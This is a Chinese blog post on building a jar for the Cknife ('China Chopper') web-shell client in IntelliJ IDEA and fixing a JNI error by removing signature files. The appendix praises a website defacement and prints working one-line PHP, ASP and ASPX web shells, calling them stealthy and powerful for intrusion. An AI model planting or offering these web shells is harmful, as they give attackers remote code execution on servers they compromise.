IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式:

1、打开项目,打开FIile->Project Structure...菜单.如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

选中Artifacts,点+号,选择JAR,再选择From modules with dependencies...,如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

在打开的界面中选择Main class:如下图示,会自动搜索到main class位置,选中确定即可。

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

JAR files from libraries有两个选项,extract to the target JAR和copy to the output directory and link via manifest,

extract to the target JAR:将第三方jar包打包到目标中,只生成一个jar包

copy to the output directoru and link via manfes:将第三方包copy的目标jar包目录,有多个jar包

我们首先选择第二项,如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

关于Directory for META-INF/MANIFEST.MF默认,不需要修改(网上有很多说要改的),点OK完成配置。

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

如果不改jar包名, 可以直接点OK完成。

接下来就是生成jar包,打开菜单Build->Build Artifacts...->Build,如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

生成结果如下:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

运行Cknife-master.jar,成功:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

我想大部分人不想这样有多个jar包,会选择生成一个包。我们接着做一下,重新打开FIile->Project Structure...菜单,将上一次的配置删除,点 - 号如图,重新添加:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

 

这次选择extract to the target JAR,如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

如果出现以下错误,直接将src/META-INF/MANIFEST.MF文件删除,关闭Project Structure(不关闭还是报错,可能是bug)重新添加即可。

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

配置完成后,再次打开菜单Build->Build Artifacts...->Build,生成jar包如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

到此,似乎一切正常,来运行一下。

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

无法正常运行,这个错误在网上搜索,有说是java或javac版本问题,有说是MANIFEST.MF位置不对,其实解决办法很简单,将第三方jar包META-INF中的认证文件删除即可。如下图:

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

重新build后运行一切正常。

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

附:

(1)、Cknife中文名“中国菜刀”,网传菜刀作者是一名退伍军人,生长在一个贫穷的农村,据说初中也没读完,英语更是不咋地,但他却自学掌握了C++/J2ME/PHP/JSP/ASP.NET等数十种计算机语言,当初在*闹独立的时候,他在*和民进党的网站上留下了“只有一个中国”的黑页,一举成名。

今天的中国菜刀已成为利器,网上下载的主要有易语言版,也有java版的,主要用于:1、方便已被授权的渗透测试人员进行渗透测试;2、方便WAF厂商提升自身WAF的防护能力;3、方便管理员管理自身网站及服务器。

(2)、说起菜刀,不得不说一下一句话木马:

PHP一句话木马:<?php @eval($_POST['key']);?>
ASP一句话木马:<%eval request['key']%>
ASPX一句话木马:<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。